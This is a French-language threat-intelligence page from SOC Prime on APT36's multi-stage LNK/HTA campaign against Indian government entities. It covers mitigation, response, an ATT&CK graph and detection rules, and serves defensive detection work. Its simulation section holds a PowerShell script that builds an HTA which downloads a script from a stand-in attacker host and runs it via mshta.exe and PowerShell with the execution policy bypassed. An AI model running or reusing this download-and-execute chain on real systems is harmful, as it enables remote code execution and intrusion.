SOC Prime Bias: Critique

05 Jan 2026 18:57

APT36 : Campagne de Malware LNK en Plusieurs Étapes Ciblant les Entités Gouvernementales Indiennes

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Suivre
APT36 : Campagne de Malware LNK en Plusieurs Étapes Ciblant les Entités Gouvernementales Indiennes
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

APT36 (Transparent Tribe) a mené une campagne de spear-phishing qui a livré un raccourci LNK malveillant se faisant passer pour un PDF. Lorsqu’il est ouvert, le raccourci lance mshta.exe pour exécuter un chargeur basé sur HTA qui décrypte et exécute des charges utiles en mémoire, y compris un module de configuration et une DLL RAT complète. Le logiciel malveillant sélectionne dynamiquement les méthodes de persistance en fonction du produit antivirus installé par la victime et se connecte à son serveur de commande et de contrôle via un canal encrypté. L’activité est évaluée comme étant axée sur l’espionnage, ciblant les organisations gouvernementales et universitaires indiennes pour voler des données.

Enquête

Les chercheurs ont analysé le fichier LNK inhabituellement volumineux, retracé le contenu HTA intégré hébergé sur innlive.in, et ont effectué une ingénierie inverse de la logique de décryptage. La chaîne a révélé deux étapes principales : une charge utile de désérialisation .NET utilisée pour affaiblir ou contourner les vérifications de sécurité, suivie d’une DLL malveillante sans fichier (par exemple, ki2mtmkl.dll / iinneldc.dll) offrant une fonctionnalité RAT. Le comportement de persistance a été mappé à des produits antivirus spécifiques, et les principaux détails C2 — tels que le port TCP 8621 et une clé AES utilisée pour le trafic encrypté — ont été extraits lors de l’analyse.

Atténuation

Restreindre ou mettre en quarantaine les pièces jointes de raccourci (.lnk) envoyées par e-mail, en particulier lorsqu’elles sont emballées dans des archives ZIP. Appliquer des politiques de contrôle des applications pour limiter l’exécution de mshta.exe, PowerShell et d’autres moteurs de scripts depuis des chemins modifiables par l’utilisateur. Utiliser des détections de point d’extrémité pour les chaînes de processus impliquant mshta.exe et des indicateurs d’exécution de DLL en mémoire, et imposer des restrictions de sortie strictes pour bloquer la communication avec des domaines inconnus ou non fiables.

Réponse

Si une exécution de LNK suspecte est détectée, isoler le système, capturer des images mémoire, et rechercher des indicateurs de DLL en mémoire liés à l’étape RAT. Bloquer les domaines malveillants identifiés et l’infrastructure IP associée, et faire pivoter les identifiants potentiellement exposés. Effectuer un examen judiciaire pour localiser les artefacts de persistance dans le dossier de démarrage et le registre, les supprimer et valider qu’aucun autre point d’accès ne subsiste.

« graph TB %% Class definitions classDef technique fill:#cfe2f3 %% Node definitions tech_T1566_001[« <b>Technique</b> – <b>T1566.001</b> Hameçonnage: Piège de pièce jointe<br/>Envoyer un e-mail ciblé avec pièce jointe malveillante »] class tech_T1566_001 technique tech_T1218_005[« <b>Technique</b> – <b>T1218.005</b> Exécution de proxy binaire système: Mshta<br/>Exécuter un HTA malveillant via mshta.exe »] class tech_T1218_005 technique tech_T1059_001[« <b>Technique</b> – <b>T1059.001</b> PowerShell<br/>Exécuter des commandes PowerShell pour télécharger la charge utile »] class tech_T1059_001 technique tech_T1059_005[« <b>Technique</b> – <b>T1059.005</b> Visual Basic<br/>Exécuter un script HTA avec VBScript »] class tech_T1059_005 technique tech_T1027[« <b>Technique</b> – <b>T1027</b> Fichiers ou informations obscurcis<br/>La charge utile est codée/chiffrée en couches »] class tech_T1027 technique tech_T1055[« <b>Technique</b> – <b>T1055</b> Injection de processus<br/>Injecter une DLL malveillante dans un processus légitime »] class tech_T1055 technique tech_T1547_001[« <b>Technique</b> – <b>T1547.001</b> Exécution automatique au démarrage ou à la connexion: Dossier de démarrage<br/>Persister via un raccourci dans Startup »] class tech_T1547_001 technique tech_T1112[« <b>Technique</b> – <b>T1112</b> Modifier le registre<br/>Ajouter des clés Run pour la persistance »] class tech_T1112 technique tech_T1036[« <b>Technique</b> – <b>T1036</b> Mascarade<br/>LNK se fait passer pour PDF »] class tech_T1036 technique tech_T1518_001[« <b>Technique</b> – <b>T1518.001</b> Découverte de logiciel: Découverte de logiciel de sécurité<br/>Interroger l’AV installé »] class tech_T1518_001 technique tech_T1082[« <b>Technique</b> – <b>T1082</b> Découverte d’informations système<br/>Collecter le système d’exploitation, le nom d’utilisateur, etc. »] class tech_T1082 technique tech_T1057[« <b>Technique</b> – <b>T1057</b> Découverte de processus<br/>Énumérer les processus »] class tech_T1057 technique tech_T1083[« <b>Technique</b> – <b>T1083</b> Découverte de fichiers et de répertoires<br/>Rechercher des documents »] class tech_T1083 technique tech_T1115[« <b>Technique</b> – <b>T1115</b> Données du presse-papier<br/>Capturer le presse-papier »] class tech_T1115 technique tech_T1113[« <b>Technique</b> – <b>T1113</b> Capture d’écran<br/>Capturer des captures d’écran »] class tech_T1113 technique tech_T1041[« <b>Technique</b> – <b>T1041</b> Exfiltration par canal C2<br/>Exfiltrer des données via C2 »] class tech_T1041 technique tech_T1573[« <b>Technique</b> – <b>T1573</b> Canal chiffré<br/>Trafic C2 chiffré »] class tech_T1573 technique %% Connections tech_T1566_001 u002du002d>|leads_to| tech_T1218_005 tech_T1218_005 u002du002d>|leads_to| tech_T1059_001 tech_T1218_005 u002du002d>|leads_to| tech_T1059_005 tech_T1059_001 u002du002d>|leads_to| tech_T1027 tech_T1027 u002du002d>|leads_to| tech_T1055 tech_T1055 u002du002d>|leads_to| tech_T1547_001 tech_T1547_001 u002du002d>|leads_to| tech_T1112 tech_T1218_005 u002du002d>|leads_to| tech_T1036 tech_T1036 u002du002d>|leads_to| tech_T1518_001 tech_T1518_001 u002du002d>|leads_to| tech_T1082 tech_T1082 u002du002d>|leads_to| tech_T1057 tech_T1057 u002du002d>|leads_to| tech_T1083 tech_T1083 u002du002d>|leads_to| tech_T1115 tech_T1083 u002du002d>|leads_to| tech_T1113 tech_T1115 u002du002d>|leads_to| tech_T1041 tech_T1113 u002du002d>|leads_to| tech_T1041 tech_T1055 u002du002d>|leads_to| tech_T1573 « 

Flux d’attaque

Détections

Fichier LNK Possibly Malveillant à Double Extension (via cmdline)

Équipe SOC Prime
05 janv. 2026

Comportement d’Évasion de la Défense LOLBAS MSHTA Suspectée par Détection de Commandes Associées (via création de processus)

Équipe SOC Prime
05 janv. 2026

Scripts / Binaires Suspects dans l’Emplacement de l’Autostart (via événement de fichier)

Équipe SOC Prime
05 janv. 2026

Fichiers Suspects dans le Profil Utilisateur Public (via événement de fichier)

Équipe SOC Prime
05 janv. 2026

Exécution Suspecte à partir du Profil Utilisateur Public (via création de processus)

Équipe SOC Prime
05 janv. 2026

IOC (SourceIP) à détecter : APT36 : Campagne de Logiciel Malveillant LNK Multistage Ciblant des Entités Gouvernementales Indiennes

Règles AI de SOC Prime
05 janv. 2026

IOC (HashSha256) à détecter : APT36 : Campagne de Logiciel Malveillant LNK Multistage Ciblant des Entités Gouvernementales Indiennes

Règles AI de SOC Prime
05 janv. 2026

IOC (DestinationIP) à détecter : APT36 : Campagne de Logiciel Malveillant LNK Multistage Ciblant des Entités Gouvernementales Indiennes

Règles AI de SOC Prime
05 janv. 2026

Exécution de mshta.exe avec PowerShell ou CMD [Création de Processus Windows]

Règles AI de SOC Prime
05 janv. 2026

Détection de Domaine Malveillant APT36 et Communication C2 [Connexion Réseau Windows]

Règles AI de SOC Prime
05 janv. 2026

Détection de Clé AES Codée en Dur dans la Campagne APT36 [Sysmon Windows]

Règles AI de SOC Prime
05 janv. 2026

Exécution de Simulation

Prérequis : La Vérification Pré-vol de la Télémétrie et de la Ligne de Base doit avoir été réussie.

Raison : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

  • Narratif et Commandes de l’Attaque :
    Un adversaire a obtenu un accès PowerShell à faible privilège sur un poste de travail compromis. Pour exécuter une charge utile distante sans écrire un exécutable sur le disque, l’attaquant utilise mshta.exe pour exécuter un fichier HTA qui extrait une porte dérobée PowerShell d’un serveur C2. Les étapes sont :

    1. Encoder un HTA minimal malveillant qui lance PowerShell pour télécharger et exécuter une charge utile.
    2. Héberger le HTA sur un serveur web (par exemple, http://attacker.local/malicious.hta).
    3. Depuis la session PowerShell compromise, invoquez mshta.exe avec l’URL distante comme argument.

    Cette chaîne crée un événement de création de processusmshta.exe est l’enfant de powershell.exe, correspondant précisément à la règle Sigma.

  • Script de Test de Régression :

    #-------------------------------------------------
    # Script d'attaquant simulé – déclenche la règle
    #-------------------------------------------------
    
    # 1. Définir le HTA malveillant (en ligne pour les besoins de la démonstration)
    $htaContent = @"
    <script>
        // Télécharger et exécuter une charge PowerShell factice
        var url = 'http://attacker.local/payload.ps1';
        var xhr = new ActiveXObject('Microsoft.XMLHTTP');
        xhr.open('GET', url, false);
        xhr.send();
        var ps = new ActiveXObject('WScript.Shell');
        ps.Run('powershell -NoProfile -ExecutionPolicy Bypass -Command "' + xhr.responseText + '"', 0, false);
    </script>
    "@
    
    # 2. Écrire le HTA dans un emplacement temporaire (simulant un fichier hébergé)
    $tempPath = "$env:TEMPmalicious.hta"
    $htaContent | Set-Content -Path $tempPath -Encoding ASCII
    
    # 3. Lancer mshta.exe depuis PowerShell (le déclencheur de détection)
    $mshta = (Get-Command mshta.exe).Source
    Write-Host "[*] Lancement de mshta.exe pour exécuter le payload HTA..."
    Start-Process -FilePath $mshta -ArgumentList "`"$tempPath`"" -NoNewWindow
    
    # Optionnel : Pause pour permettre la capture de l'événement
    Start-Sleep -Seconds 5
    
    # Nettoyage (géré dans la section suivante)
  • Commandes de Nettoyage :

    # Supprimer le fichier HTA temporaire
    Remove-Item -Path "$env:TEMPmalicious.hta" -Force -ErrorAction SilentlyContinue
    
    # Arrêter tous les processus mshta.exe persistants (peu probable après une exécution normale)
    Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force
    
    Write-Host "[*] Nettoyage complet."